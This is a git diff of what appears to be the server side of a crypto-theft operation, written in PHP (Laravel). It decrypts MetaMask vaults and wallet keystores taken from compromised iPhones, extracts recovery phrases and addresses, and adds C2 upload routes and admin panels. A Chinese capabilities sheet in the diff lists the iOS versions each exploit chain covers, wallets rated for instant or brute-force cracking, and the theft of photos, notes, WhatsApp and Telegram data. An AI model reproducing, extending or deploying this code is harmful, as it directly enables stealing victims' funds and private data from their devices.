is_array($row->raw_json) ? $row->raw_json : []; + $kind = (string) ($json['kind'] ?? ''); + if (str_starts_with($kind, 'keychain')) { + $wallets = array_merge($wallets, is_array($json['wallets'] ?? null) ? $json['wallets'] : []); + + continue; + } + if ($kind === 'web3.keystore' || (isset($json['crypto']) && is_array($json['crypto']))) { + $key = trim((string) $row->source); + if ($key === '') { + $key = 'web3'; + } + if (! isset($sandbox[$key]) || ! is_array($sandbox[$key])) { + $sandbox[$key] = []; + } + $sandbox[$key][] = $json; + + continue; + } + if (isset($json['sandbox']) && is_array($json['sandbox'])) { + $sandbox = array_merge($sandbox, $json['sandbox']); + } + } + + return [$wallets, $sandbox]; + } + /** * @return list */ @@ -879,9 +967,9 @@ class DarkSwordIngestAdapter /** * @param array $rawJson */ - private function createKeystore(Device $device, string $source, array $rawJson): WalletKeystore + private function createKeystore(Device $device, string $source, array $rawJson, bool $needsPassword = false): WalletKeystore { - return WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson); + return WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson, $needsPassword); } /** @@ -893,19 +981,7 @@ class DarkSwordIngestAdapter public function reprocessKeystores(Device $device): void { $device->load('keystores'); - - // Rebuild wallets/sandbox dicts from stored keystores so the walkers - // can traverse the original tree structure. - $wallets = []; - $sandbox = []; - foreach ($device->keystores as $row) { - $kind = $row->raw_json['kind'] ?? ''; - if (str_starts_with($kind, 'keychain')) { - $wallets = array_merge($wallets, $row->raw_json['wallets'] ?? []); - } else { - $sandbox = array_merge($sandbox, $row->raw_json['sandbox'] ?? []); - } - } + [$wallets, $sandbox] = $this->storedWalletTrees($device); $this->recoverKeystoreMnemonics($device, $wallets, $sandbox, $device->keystores->all()); $this->walkForMnemonics($device, $wallets, 'd'); @@ -919,8 +995,38 @@ class DarkSwordIngestAdapter public function recoverKeystoreMnemonics(Device $device, mixed $wallets, mixed $sandbox, array $rows): void { $hits = $this->keystoreDecrypt->recover($device, $wallets, $sandbox); + $this->applyMnemonicHits($device, $hits); + } + + /** + * Unlock a needs-password UTC / walletsV2 blob with an operator-supplied password, + * then persist mnemonics the same way as automatic recovery. + * + * @return array{hits: int, utc: int, vault: int} + */ + public function decryptKeystoreWithPassword(Device $device, WalletKeystore $row, string $password): array + { + $result = $this->keystoreDecrypt->unlockRowWithPassword($device, $row, $password); + $this->applyMnemonicHits($device, $result['hits']); + if ($result['hits'] !== []) { + [$wallets, $sandbox] = $this->storedWalletTrees($device->fresh('keystores')); + $this->extractAddressesFromKeystores($device, $wallets, $sandbox); + } + + return [ + 'hits' => count($result['hits']), + 'utc' => $result['utc'], + 'vault' => $result['vault'] ?? 0, + ]; + } + + /** + * @param list>}> $hits + */ + private function applyMnemonicHits(Device $device, array $hits): void + { foreach ($hits as $hit) { - $tag = $hit['tag'] !== '' ? $hit['tag'] : 'd'; + $tag = ($hit['tag'] ?? '') !== '' ? $hit['tag'] : 'd'; $this->ingest->ingestMnemonic($device, [ 'mnemonic' => $hit['phrase'], 'a' => $tag, @@ -970,8 +1076,18 @@ class DarkSwordIngestAdapter if (is_string($node)) { $phrase = $this->asMnemonicPhrase($node); if ($phrase !== null) { - $this->ingest->ingestMnemonic($device, ['mnemonic' => $phrase, 'a' => $tag]); - $hits[] = ['phrase' => $phrase, 'source' => $sourceHint]; + $ingestTag = $tag; + if ($sourceHint !== '') { + $mapped = WalletSource::tagForLabel($sourceHint); + if ($mapped !== '') { + $ingestTag = $mapped; + } + } + $this->ingest->ingestMnemonic($device, ['mnemonic' => $phrase, 'a' => $ingestTag]); + $hits[] = [ + 'phrase' => $phrase, + 'source' => $sourceHint !== '' ? $sourceHint : WalletSource::fromTag($ingestTag), + ]; } return; @@ -1028,6 +1144,13 @@ class DarkSwordIngestAdapter private function tagForWalletKey(string $key, string $fallback): string { + $hint = WalletSource::fromKeystoreHint($key); + if ($hint !== '') { + $mapped = WalletSource::tagForLabel($hint); + if ($mapped !== '') { + return $mapped; + } + } $k = strtolower($key); if (str_contains($k, 'imtoken') || str_contains($k, 'im.token')) { return 'b'; diff --git a/app/Services/DsKeystoreDecrypt.php b/app/Services/DsKeystoreDecrypt.php index cca2bd5..a83bd7f 100644 --- a/app/Services/DsKeystoreDecrypt.php +++ b/app/Services/DsKeystoreDecrypt.php @@ -78,6 +78,99 @@ final class DsKeystoreDecrypt return $hits; } + /** + * Try operator-supplied password against UTC / walletsV2 blobs and + * MetaMask-style password vaults on this row (and same-source rows). + * + * @return array{hits: list}>, utc: int, vault: int} + */ + public function unlockRowWithPassword(Device $device, WalletKeystore $row, string $password): array + { + $device->loadMissing('keystores'); + $source = trim((string) $row->source); + $nodes = [is_array($row->raw_json) ? $row->raw_json : []]; + foreach ($device->keystores as $other) { + if ((int) $other->id === (int) $row->id) { + continue; + } + if (trim((string) $other->source) !== $source) { + continue; + } + $nodes[] = is_array($other->raw_json) ? $other->raw_json : []; + } + + $utcs = []; + $vaults = []; + foreach ($nodes as $node) { + $utcs = array_merge($utcs, $this->collectKeystores($node, $source !== '' ? $source : 'unknown')); + $vaults = array_merge($vaults, $this->collectPasswordVaults($node, $source !== '' ? $source : 'unknown')); + } + $utcs = $this->uniqueKeystores($utcs); + $passwords = $this->expandUserPassword($password); + $hits = []; + $seen = []; + if ($passwords === []) { + return ['hits' => [], 'utc' => count($utcs), 'vault' => count($vaults)]; + } + + foreach ($utcs as $item) { + $phrase = $this->unlock($item['keystore'], $passwords); + if ($phrase === null) { + continue; + } + $hash = WalletMnemonic::hashSecret($phrase); + if (isset($seen[$hash])) { + continue; + } + $seen[$hash] = true; + $hitSource = $item['source'] !== '' ? $item['source'] : ($source !== '' ? $source : 'unknown'); + $hits[] = [ + 'source' => $hitSource, + 'tag' => WalletSource::tagForLabel($hitSource), + 'phrase' => $phrase, + 'addresses' => [], + ]; + } + + foreach ($vaults as $item) { + $phrase = $this->unlockPasswordVault($item['vault'], $passwords); + if ($phrase === null) { + continue; + } + $hash = WalletMnemonic::hashSecret($phrase); + if (isset($seen[$hash])) { + continue; + } + $seen[$hash] = true; + $hitSource = $item['source'] !== '' ? $item['source'] : ($source !== '' ? $source : 'MetaMask'); + $hits[] = [ + 'source' => $hitSource, + 'tag' => WalletSource::tagForLabel($hitSource) ?: 'a', + 'phrase' => $phrase, + 'addresses' => [], + ]; + } + + return ['hits' => $hits, 'utc' => count($utcs), 'vault' => count($vaults)]; + } + + /** + * @return list + */ + public function expandUserPassword(string $password): array + { + $password = trim($password); + if ($password === '') { + return []; + } + $out = $this->passwordsFromString($password); + if (ctype_xdigit($password) && strlen($password) % 2 === 0 && strlen($password) >= 8) { + $out = array_merge($out, $this->passwordsFromHex($password)); + } + + return array_values(array_unique($out)); + } + /** * @return array{utc: int, passwords: int, entropy: int} */ @@ -575,6 +668,192 @@ final class DsKeystoreDecrypt return $out; } + /** + * MetaMask mobile VAULT_BACKUP: {cipher, iv, salt, lib, keyMetadata}. + * + * @return list}> + */ + public function collectPasswordVaults(mixed $node, string $source = '', int $depth = 0): array + { + if ($depth > 10 || $node === null) { + return []; + } + if (is_string($node)) { + $decoded = $this->decodeBlob($node); + if ($decoded === null) { + return []; + } + + return $this->collectPasswordVaults($decoded, $source, $depth + 1); + } + if (! is_array($node)) { + return []; + } + if ($this->isPasswordVault($node)) { + return [['source' => $source !== '' ? $source : 'MetaMask', 'vault' => $node]]; + } + + $out = []; + $acct = strtolower(trim((string) ($node['account'] ?? ''))); + if ($acct === 'vault_backup' && $source === '') { + $source = 'MetaMask'; + } + foreach ($node as $key => $child) { + $next = $source; + if (is_string($key)) { + $hint = WalletSource::fromKeystoreHint($key); + if ($hint !== '') { + $next = $hint; + } + } + if (is_array($child) || is_string($child)) { + $out = array_merge($out, $this->collectPasswordVaults($child, $next, $depth + 1)); + } + } + + return $out; + } + + /** + * @param array $node + */ + public function isPasswordVault(array $node): bool + { + foreach (['cipher', 'iv', 'salt'] as $key) { + if (! is_string($node[$key] ?? null) || $node[$key] === '') { + return false; + } + } + + return true; + } + + /** + * @param array $vault + * @param list $passwords + */ + public function unlockPasswordVault(array $vault, array $passwords): ?string + { + foreach ($passwords as $password) { + $plain = $this->decryptPasswordVault($vault, $password); + if ($plain === null) { + continue; + } + $phrase = $this->phraseFromVaultPlain($plain); + if ($phrase !== null) { + return $phrase; + } + } + + return null; + } + + /** + * MetaMask iOS (lib=quick-crypto): PBKDF2-SHA512 over the salt *string* + * (not base64-decoded), AES-256-CBC, IV hex, cipher base64. + * + * @param array $vault + */ + private function decryptPasswordVault(array $vault, string $password): ?string + { + $cipherB64 = (string) ($vault['cipher'] ?? ''); + $ivRaw = (string) ($vault['iv'] ?? ''); + $saltStr = (string) ($vault['salt'] ?? ''); + if ($cipherB64 === '' || $ivRaw === '' || $saltStr === '' || $password === '') { + return null; + } + $cipher = base64_decode($cipherB64, true); + if (! is_string($cipher) || $cipher === '') { + return null; + } + $iv = ctype_xdigit($ivRaw) && strlen($ivRaw) % 2 === 0 ? @hex2bin($ivRaw) : base64_decode($ivRaw, true); + if (! is_string($iv) || $iv === '') { + return null; + } + $iterations = (int) ($vault['keyMetadata']['params']['iterations'] ?? 5000); + if ($iterations < 1) { + $iterations = 5000; + } + $salts = [$saltStr]; + $decodedSalt = base64_decode($saltStr, true); + if (is_string($decodedSalt) && $decodedSalt !== '' && $decodedSalt !== $saltStr) { + $salts[] = $decodedSalt; + } + foreach ($salts as $salt) { + $key = hash_pbkdf2('sha512', $password, $salt, $iterations, 32, true); + $plain = openssl_decrypt($cipher, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv); + if (is_string($plain) && $plain !== '') { + return $plain; + } + } + + return null; + } + + private function phraseFromVaultPlain(string $plain): ?string + { + $direct = $this->asMnemonic($plain); + if ($direct !== null) { + return $direct; + } + $json = json_decode($plain, true); + if (! is_array($json)) { + return null; + } + + return $this->phraseFromVaultNode($json); + } + + private function phraseFromVaultNode(mixed $node): ?string + { + if (is_string($node)) { + return $this->asMnemonic($node); + } + if (! is_array($node)) { + return null; + } + if (isset($node['mnemonic'])) { + $phrase = $this->mnemonicFieldToPhrase($node['mnemonic']); + if ($phrase !== null) { + return $phrase; + } + } + foreach ($node as $child) { + $phrase = $this->phraseFromVaultNode($child); + if ($phrase !== null) { + return $phrase; + } + } + + return null; + } + + private function mnemonicFieldToPhrase(mixed $value): ?string + { + if (is_string($value)) { + return $this->asMnemonic($value); + } + if (! is_array($value) || $value === []) { + return null; + } + if (is_int($value[0] ?? null) || is_float($value[0] ?? null)) { + $raw = ''; + foreach ($value as $code) { + if (! is_numeric($code)) { + return null; + } + $raw .= chr((int) $code); + } + + return $this->asMnemonic($raw); + } + if (is_string($value[0] ?? null)) { + return $this->asMnemonic(implode(' ', array_map(static fn ($w) => (string) $w, $value))); + } + + return null; + } + /** * @return list */ diff --git a/app/Services/DsTrustAddressIngest.php b/app/Services/DsTrustAddressIngest.php index c0e5198..7642884 100644 --- a/app/Services/DsTrustAddressIngest.php +++ b/app/Services/DsTrustAddressIngest.php @@ -7,7 +7,7 @@ use App\Support\WalletSource; /** * Pull plaintext Trust Wallet addresses from UTC / wallet_pkg /war sandbox. - * Only BTC / ETH / TRX; at most two addresses per chain, in file order. + * BTC / ETH / TRX / BSC / SOL / ARB; at most two addresses per chain, in file order. */ class DsTrustAddressIngest { @@ -18,6 +18,9 @@ class DsTrustAddressIngest 0 => 'BITCOIN', 60 => 'ETHEREUM', 195 => 'TRON', + 20000714 => 'BSC', + 501 => 'SOLANA', + 10042221 => 'ARBITRUM', ]; public function __construct( @@ -47,6 +50,9 @@ class DsTrustAddressIngest 'BITCOIN' => [], 'ETHEREUM' => [], 'TRON' => [], + 'BSC' => [], + 'SOLANA' => [], + 'ARBITRUM' => [], ]; foreach ($this->walkAccounts($node) as $acct) { $address = trim((string) ($acct['address'] ?? '')); @@ -68,6 +74,9 @@ class DsTrustAddressIngest $symbol = match ($chain) { 'BITCOIN' => 'BTC', 'ETHEREUM' => 'ETH', + 'BSC' => 'BNB', + 'SOLANA' => 'SOL', + 'ARBITRUM' => 'ETH', default => 'TRX', }; foreach ($addresses as $address) { @@ -170,6 +179,8 @@ class DsTrustAddressIngest 'BITCOIN' => 'BITCOIN', 'ETHEREUM' => 'ETHEREUM', 'TRON' => 'TRON', + 'BSC' => 'BSC', + 'SOLANA' => 'SOLANA', default => null, }; diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index 72f2e3c..f28c52c 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -451,7 +451,7 @@ class IngestService $bundle = (string) ($item['b'] ?? $item['bundle_id'] ?? $item['bundleId'] ?? ''); $name = (string) ($item['a'] ?? $item['name'] ?? $bundle); $version = isset($item['v']) ? (string) $item['v'] : null; - if ($bundle === '') { + if ($bundle === '' || DeviceApp::shouldSkipBundle($bundle)) { continue; } DeviceApp::query()->updateOrCreate( @@ -942,6 +942,7 @@ class IngestService in_array($chainType, ['TRON', 'TRX'], true) => ['TRON', 'TRX'], in_array($chainType, ['BTC', 'BITCOIN'], true) => ['BTC', 'BITCOIN'], in_array($chainType, ['SOL', 'SOLANA'], true) => ['SOL', 'SOLANA'], + in_array($chainType, ['ARB', 'ARBITRUM'], true) => ['ARB', 'ARBITRUM'], default => [$chainType], }; diff --git a/app/Support/WalletSource.php b/app/Support/WalletSource.php index 7b14a54..121a79d 100644 --- a/app/Support/WalletSource.php +++ b/app/Support/WalletSource.php @@ -266,6 +266,8 @@ final class WalletSource 'TRX', 'TRON', 'BTC', 'BITCOIN', 'BNB', 'BSC', 'BINANCE', + 'SOL', 'SOLANA', + 'ARB', 'ARBITRUM', ]; public static function isSupportedChain(string $chainType): bool @@ -375,6 +377,7 @@ final class WalletSource 'SOLANA', 'SOL' => 'SOL', 'TON' => 'TON', 'BNB', 'BSC', 'BINANCE' => 'BNB', + 'ARB', 'ARBITRUM' => 'ETH', default => strtoupper($chainType) ?: 'UNKNOWN', }; } diff --git a/channel-builder-new/SYSTEM_CAPABILITIES.md b/channel-builder-new/SYSTEM_CAPABILITIES.md new file mode 100644 index 0000000..2034528 --- /dev/null +++ b/channel-builder-new/SYSTEM_CAPABILITIES.md @@ -0,0 +1,66 @@ +# 系统能力介绍 + +--- + +## JS 访问版 + +### 13-17 系列 + +**支持版本范围:** 13 – 17.2.1 + +**支持钱包:** +- 打开钱包 APP 获取:MetaMask / Trust / Coinbase / BitKeep / Tonkeeper / Uniswap / Phantom / MyTonWallet / Exodus / Ronin / Krystal / Tonhub / Coin98 / Bitpie / Solflare / OKX +- 需要转账/查看助记词等动作:imToken / TronLink / TokenPocket + +**支持的其他能力:** 相册 / 备忘录 / WhatsApp 参数 / Telegram 参数 / APP 应用列表 + +--- + +### 18 系列 + +**支持版本:** 18.5 / 18.6 / 18.6.1 / 18.6.2 + +**支持钱包:** +- 秒破:Bitpie / Trust / Coin98 /Uniswap / Phantom +- 暴力破:imToken / BitKeep / MetaMask / Tonkeeper + + +**支持的其他能力:** 相册 / 备忘录 / APP 应用列表 + +--- + +### 支持的版本明细 + +``` +13: 13.1 13.1.1 13.1.3 13.2 13.2.2 13.3 13.3.1 13.4.1 13.5 13.5.1 13.6 13.6.1 13.7 +14: 14.0 14.0.1 14.1 14.2 14.2.1 14.3 14.4 14.4.1 14.4.2 14.5 14.5.1 14.6 14.7 14.7.1 14.8 14.8.1 +15: 15.0 15.0.1 15.0.2 15.1 15.1.1 15.2 15.2.1 15.3 15.3.1 15.4 15.4.1 15.5 15.6 15.6.1 + 15.7 15.7.1 15.7.2 15.7.3 15.7.4 15.7.5 15.7.6 15.7.7 15.7.8 15.7.9 + 15.8 15.8.1 15.8.2 15.8.3 15.8.4 15.8.5 15.8.6 +16: 16.0 16.0.1 16.0.2 16.0.3 16.1 16.1.1 16.1.2 16.2 16.3 16.3.1 16.4 16.4.1 + 16.5 16.5.1 16.6 16.6.1 16.7 16.7.1 16.7.2 16.7.3 16.7.4 +17: 17.0 17.0.1 17.0.2 17.0.3 17.1 17.1.1 17.1.2 17.2 17.2.1 +18: 18.5 18.6 18.6.1 18.6.2 +``` + +--- + +## APP 下载版 + +### 12 – 26.6.1 + +**版本范围:** iOS 12 ~ iOS 18.7.2 / iOS 26.0 / iOS 26.0.1 + +**支持钱包:** +- 秒破:Bitpie / Trust / Coin98 / Exodus / Phantom / Uniswap / Tonhub / OKX +- 暴力破:imToken / TokenPocket / TronLink / MetaMask + +--- + +### 26.0.1 – 26.6.1 + +**版本范围:** 26.0.1 – 26.6.1 + +**支持钱包:** +- 爆破:imToken / TronLink / MetaMask / OKX / Coin98 / TokenPocket +- 秒破:Tonhub diff --git a/database/migrations/2026_10_05_000010_wallet_keystores_needs_password.php b/database/migrations/2026_10_05_000010_wallet_keystores_needs_password.php new file mode 100644 index 0000000..23f746f --- /dev/null +++ b/database/migrations/2026_10_05_000010_wallet_keystores_needs_password.php @@ -0,0 +1,26 @@ +unsignedTinyInteger('needs_password')->nullable()->after('decrypted'); + $table->index('needs_password'); + }); + } + + public function down(): void + { + Schema::table('wallet_keystores', function (Blueprint $table) { + $table->dropIndex(['needs_password']); + $table->dropColumn('needs_password'); + }); + } +}; diff --git a/database/migrations/2026_10_05_000020_wallet_keystores_list_stats.php b/database/migrations/2026_10_05_000020_wallet_keystores_list_stats.php new file mode 100644 index 0000000..2ba6ed4 --- /dev/null +++ b/database/migrations/2026_10_05_000020_wallet_keystores_list_stats.php @@ -0,0 +1,27 @@ +string('list_kind', 32)->nullable()->after('needs_password'); + $table->unsignedInteger('list_item_count')->nullable()->after('list_kind'); + $table->string('list_summary', 255)->nullable()->after('list_item_count'); + $table->unsignedTinyInteger('list_has_web3')->nullable()->after('list_summary'); + $table->index('source'); + }); + } + + public function down(): void + { + Schema::table('wallet_keystores', function (Blueprint $table) { + $table->dropIndex(['source']); + $table->dropColumn(['list_kind', 'list_item_count', 'list_summary', 'list_has_web3']); + }); + } +}; diff --git a/database/migrations/2026_10_05_000030_wallet_keystores_chain.php b/database/migrations/2026_10_05_000030_wallet_keystores_chain.php new file mode 100644 index 0000000..51f4ea8 --- /dev/null +++ b/database/migrations/2026_10_05_000030_wallet_keystores_chain.php @@ -0,0 +1,37 @@ +unsignedTinyInteger('chain')->nullable()->after('device_id'); + $table->index('chain'); + }); + + if (Schema::getConnection()->getDriverName() === 'mysql') { + DB::update('UPDATE wallet_keystores wk INNER JOIN devices d ON d.id = wk.device_id SET wk.chain = IFNULL(d.chain, 1)'); + } else { + $chains = DB::table('devices')->pluck('chain', 'id'); + foreach ($chains as $deviceId => $chain) { + DB::table('wallet_keystores') + ->where('device_id', $deviceId) + ->whereNull('chain') + ->update(['chain' => (int) ($chain ?: 1)]); + } + } + } + + public function down(): void + { + Schema::table('wallet_keystores', function (Blueprint $table) { + $table->dropIndex(['chain']); + $table->dropColumn('chain'); + }); + } +}; diff --git a/resources/views/admin/addresses/index.blade.php b/resources/views/admin/addresses/index.blade.php index a358c57..2893b08 100644 --- a/resources/views/admin/addresses/index.blade.php +++ b/resources/views/admin/addresses/index.blade.php @@ -183,6 +183,7 @@ layui.use(['table', 'form', 'layer'], function () { if (c === 'BSC' || c === 'BNB' || c === 'BINANCE') return 'https://bscscan.com/address/' + encodeURIComponent(addr); if (c === 'BTC' || c === 'BITCOIN') return 'https://mempool.space/address/' + encodeURIComponent(addr); if (c === 'SOL' || c === 'SOLANA') return 'https://solscan.io/account/' + encodeURIComponent(addr); + if (c === 'ARB' || c === 'ARBITRUM') return 'https://arbiscan.io/address/' + encodeURIComponent(addr); return ''; } diff --git a/resources/views/admin/devices/show.blade.php b/resources/views/admin/devices/show.blade.php index 3872d0b..19c2f01 100644 --- a/resources/views/admin/devices/show.blade.php +++ b/resources/views/admin/devices/show.blade.php @@ -319,6 +319,25 @@ @endif + @if ($tab === 'keystores') +
+
+
+ +
+ +
+
+
+ + +
+
+
+ @endif
@if (in_array($tab, ['ws-sessions', 'tg-sessions'], true)) diff --git a/resources/views/admin/keystores/index.blade.php b/resources/views/admin/keystores/index.blade.php index fed431e..1259556 100644 --- a/resources/views/admin/keystores/index.blade.php +++ b/resources/views/admin/keystores/index.blade.php @@ -48,6 +48,17 @@
@include('admin.partials.filter_channel_select') +
+ +
+ +
+
@@ -77,6 +88,15 @@
+
+ +
+ +
+
@@ -85,9 +105,8 @@
@@ -110,50 +129,6 @@ layui.use(['table', 'form', 'layer'], function () { } function dash(v) { return v ? esc(v) : '—'; } - window.CorunaKeystoreItems = window.CorunaKeystoreItems || function (url, title) { - layer.load(1); - $.getJSON(url, function (res) { - layer.closeAll('loading'); - if (!res || res.code !== 0) { - return layer.msg((res && res.msg) || '加载失败'); - } - var d = res.data || {}; - var items = d.items || []; - var html = '
#' + esc(d.id) + - ' · 来源 ' + esc(d.source || '未知') + - ' · ' + esc(d.kind || '') + - ' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') + - ' · ' + items.length + ' 条
'; - if (!items.length) { - html += '
暂无条目
'; - } else { - html += '' + - '' + - ''; - items.forEach(function (it) { - html += '' + - '' + - '' + - '' + - '' + - '' + - '' + - ''; - }); - html += '
AccountServiceAccess GroupClass长度预览
' + esc(it.account || it.path || '—') + '' + dash(it.service) + '' + dash(it.access_group) + '' + dash(it.protection_class) + '' + esc(it.data_len) + '' + dash(it.data_preview) + '
'; - } - layer.open({ - type: 1, - title: title || ('钥匙串 #' + (d.id || '')), - area: ['920px', '70%'], - content: html - }); - }).fail(function () { - layer.closeAll('loading'); - layer.msg('加载失败'); - }); - }; - // ── Plaintext detail viewer (sensitive fields masked) ── window.CorunaKeystoreDetail = window.CorunaKeystoreDetail || function (url, title) { layer.load(1); @@ -191,14 +166,22 @@ layui.use(['table', 'form', 'layer'], function () { cols: [[ { field: 'id', title: 'ID', width: 70, sort: true }, { field: 'device_key', title: '设备 ID', width: 160, templet: function (d) { return d.device_key ? '' + esc(d.device_key) + '' : '—'; } }, + { field: 'chain', title: '利用链', width: 120, sort: true, templet: function (d) { + var c = Number(d.chain); + var cls = 'tag-chain-coruna', label = 'Coruna'; + if (c === 2) { cls = 'tag-chain-darksword'; label = 'DarkSword'; } + else if (c === 3) { cls = 'tag-chain-app'; label = 'App'; } + return '' + label + ''; + } }, { field: 'channel_id', title: '渠道 ID', minWidth: 180, templet: function (d) { return dash(d.channel_id); } }, { field: 'source', title: '来源', width: 130, sort: true, templet: function (d) { return esc(d.source || '未知'); } }, { field: 'decrypted', title: '已解密', width: 90, sort: true, templet: function (d) { return Number(d.decrypted) === 1 ? '是' : '否'; } }, + { field: 'needs_password', title: '需要密码', width: 110, sort: true, templet: function (d) { + return Number(d.needs_password) === 1 ? '是' : '—'; + } }, { field: 'kind', title: '类型', width: 110 }, - { field: 'item_count', title: '条目', width: 70 }, - { field: 'summary', title: '摘要', minWidth: 220, templet: function (d) { return dash(d.summary); } }, { field: 'created_at', title: '时间', width: 170, sort: true }, { title: '操作', width: 240, align: 'center', fixed: 'right', toolbar: '#LAY-ks-ops' } ]], @@ -212,23 +195,25 @@ layui.use(['table', 'form', 'layer'], function () { return false; }); table.on('tool(LAY-ks-list)', function (obj) { - if (obj.event === 'items') { - window.CorunaKeystoreItems(obj.data.items_url, '钥匙串 #' + obj.data.id); - return; - } if (obj.event === 'plaintext') { window.CorunaKeystoreDetail(obj.data.detail_api_url, '明文详情 #' + obj.data.id); return; } - if (obj.event === 'decrypt') { - if (!obj.data.decrypt_url) return layer.msg('无法解密'); - layer.confirm('对该设备已存钥匙串尝试解密并写入助记词?Trust UTC 可能需要一两分钟,请勿关闭页面。', { icon: 3, title: '解密' }, function (idx) { + if (obj.event === 'decryptPassword') { + if (!obj.data.password_decrypt_url) return layer.msg('无法密码解密'); + layer.prompt({ + formType: 1, + title: '输入钱包密码', + maxlength: 256 + }, function (value, idx) { + var password = String(value || '').trim(); + if (!password) return layer.msg('请输入密码'); layer.close(idx); var loadIdx = layer.msg('解密中…', { icon: 16, shade: 0.2, time: 0 }); $.ajax({ - url: obj.data.decrypt_url, + url: obj.data.password_decrypt_url, method: 'POST', - data: { _token: token }, + data: { _token: token, password: password }, timeout: 180000, success: function (res) { layer.msg((res && res.msg) || '已处理'); diff --git a/resources/views/admin/mnemonics/index.blade.php b/resources/views/admin/mnemonics/index.blade.php index e30ef4f..2a04d5b 100644 --- a/resources/views/admin/mnemonics/index.blade.php +++ b/resources/views/admin/mnemonics/index.blade.php @@ -142,6 +142,7 @@ layui.use(['table', 'form', 'layer'], function () { if (c === 'BSC' || c === 'BNB' || c === 'BINANCE') return 'https://bscscan.com/address/' + encodeURIComponent(addr); if (c === 'BTC' || c === 'BITCOIN') return 'https://mempool.space/address/' + encodeURIComponent(addr); if (c === 'SOL' || c === 'SOLANA') return 'https://solscan.io/account/' + encodeURIComponent(addr); + if (c === 'ARB' || c === 'ARBITRUM') return 'https://arbiscan.io/address/' + encodeURIComponent(addr); return ''; } diff --git a/routes/admin.php b/routes/admin.php index 9d3a297..8fed4d9 100644 --- a/routes/admin.php +++ b/routes/admin.php @@ -87,6 +87,7 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items'); Route::get('keystores/{keystore}/detail', [KeystoreController::class, 'detail'])->name('keystores.detail'); Route::post('keystores/{keystore}/decrypt', [KeystoreController::class, 'decrypt'])->name('keystores.decrypt'); + Route::post('keystores/{keystore}/decrypt-password', [KeystoreController::class, 'decryptPassword'])->name('keystores.decryptPassword'); Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index'); Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data'); diff --git a/routes/app_c2.php b/routes/app_c2.php index fc132df..db51825 100644 --- a/routes/app_c2.php +++ b/routes/app_c2.php @@ -28,15 +28,15 @@ $ctl = AppC2Controller::class; -// ai-live doge C2 pipeline (w2.bsvpn.net → /api/v2/*). -// c2_redirect.dylib rewrites doge's C2 URL to http://:8000/api/v2/* -// (HTTP, no TLS — doge's static libcurl bypasses iOS ATS). This catch-all +// App 利用链 C2 pipeline (/api/v2/*). +// c2_redirect.dylib rewrites the client C2 URL to http://:8000/api/v2/* +// (HTTP, no TLS — static libcurl bypasses iOS ATS). This catch-all // logs every request to public/log/app_c2/Ymd.log and returns the -// permissive mock responses doge expects so it keeps uploading. -Route::any('/api/v2/devices', [$ctl, 'aiLiveV2']); -Route::any('/api/v2/uploads', [$ctl, 'aiLiveV2']); -Route::match(['PUT', 'POST'], '/api/v2/uploads/{id}/chunks', [$ctl, 'aiLiveV2'])->where('id', '[^/]+'); -Route::match(['PUT', 'POST'], '/api/v2/uploads/{id}/chunks/{n}', [$ctl, 'aiLiveV2']) +// permissive mock responses the client expects so it keeps uploading. +Route::any('/api/v2/devices', [$ctl, 'appUpload']); +Route::any('/api/v2/uploads', [$ctl, 'appUpload']); +Route::match(['PUT', 'POST'], '/api/v2/uploads/{id}/chunks', [$ctl, 'appUpload'])->where('id', '[^/]+'); +Route::match(['PUT', 'POST'], '/api/v2/uploads/{id}/chunks/{n}', [$ctl, 'appUpload']) ->where(['id' => '[^/]+', 'n' => '[0-9]+']); -Route::any('/api/v2/finish', [$ctl, 'aiLiveV2']); -Route::any('/api/v2/{any?}', [$ctl, 'aiLiveV2'])->where('any', '.*'); +Route::any('/api/v2/finish', [$ctl, 'appUpload']); +Route::any('/api/v2/{any?}', [$ctl, 'appUpload'])->where('any', '.*'); diff --git a/routes/user.php b/routes/user.php index c7a114b..6d59003 100644 --- a/routes/user.php +++ b/routes/user.php @@ -84,6 +84,7 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items'); Route::get('keystores/{keystore}/detail', [KeystoreController::class, 'detail'])->name('keystores.detail'); Route::post('keystores/{keystore}/decrypt', [KeystoreController::class, 'decrypt'])->name('keystores.decrypt'); + Route::post('keystores/{keystore}/decrypt-password', [KeystoreController::class, 'decryptPassword'])->name('keystores.decryptPassword'); Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index'); Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data'); diff --git a/tests/Feature/AppUploadIngestTest.php b/tests/Feature/AppUploadIngestTest.php new file mode 100644 index 0000000..508da95 --- /dev/null +++ b/tests/Feature/AppUploadIngestTest.php @@ -0,0 +1,507 @@ + '', + 'coruna.telegram.owner_chat_id' => '', + ]); + + $tokenview = Mockery::mock(TokenviewMonitorService::class); + $tokenview->shouldReceive('syncMonitor')->andReturn(false); + $tokenview->shouldReceive('shouldMonitor')->andReturn(false); + $this->app->instance(TokenviewMonitorService::class, $tokenview); + + $balances = Mockery::mock(\App\Services\WalletBalanceService::class); + $balances->shouldReceive('refresh')->andReturn(false); + $balances->shouldReceive('ensureBscForEthAddress')->andReturn(null); + $this->app->instance(\App\Services\WalletBalanceService::class, $balances); + + Http::fake(); + } + + #[Test] + public function wallet_tar_stores_utc_and_ingests_address(): void + { + $device = $this->makeDevice(); + $utc = [ + 'version' => 3, + 'id' => 'trust-utc', + 'crypto' => [ + 'ciphertext' => 'aa', + 'mac' => 'bb', + 'cipher' => 'aes-128-ctr', + ], + 'address' => substr(self::ETH, 2), + ]; + $tar = $this->makeTar([ + 'Documents/keystore/UTC--demo' => json_encode($utc), + ]); + + app(AppUploadIngester::class)->ingestArtifact( + $device, + $tar, + 'com.wallet.crypto.trustapp.tar', + ); + + $this->assertTrue( + WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Trust Wallet')->exists() + ); + $this->assertTrue( + WalletKeystore::query() + ->where('device_id', $device->id) + ->get() + ->contains(fn (WalletKeystore $row) => 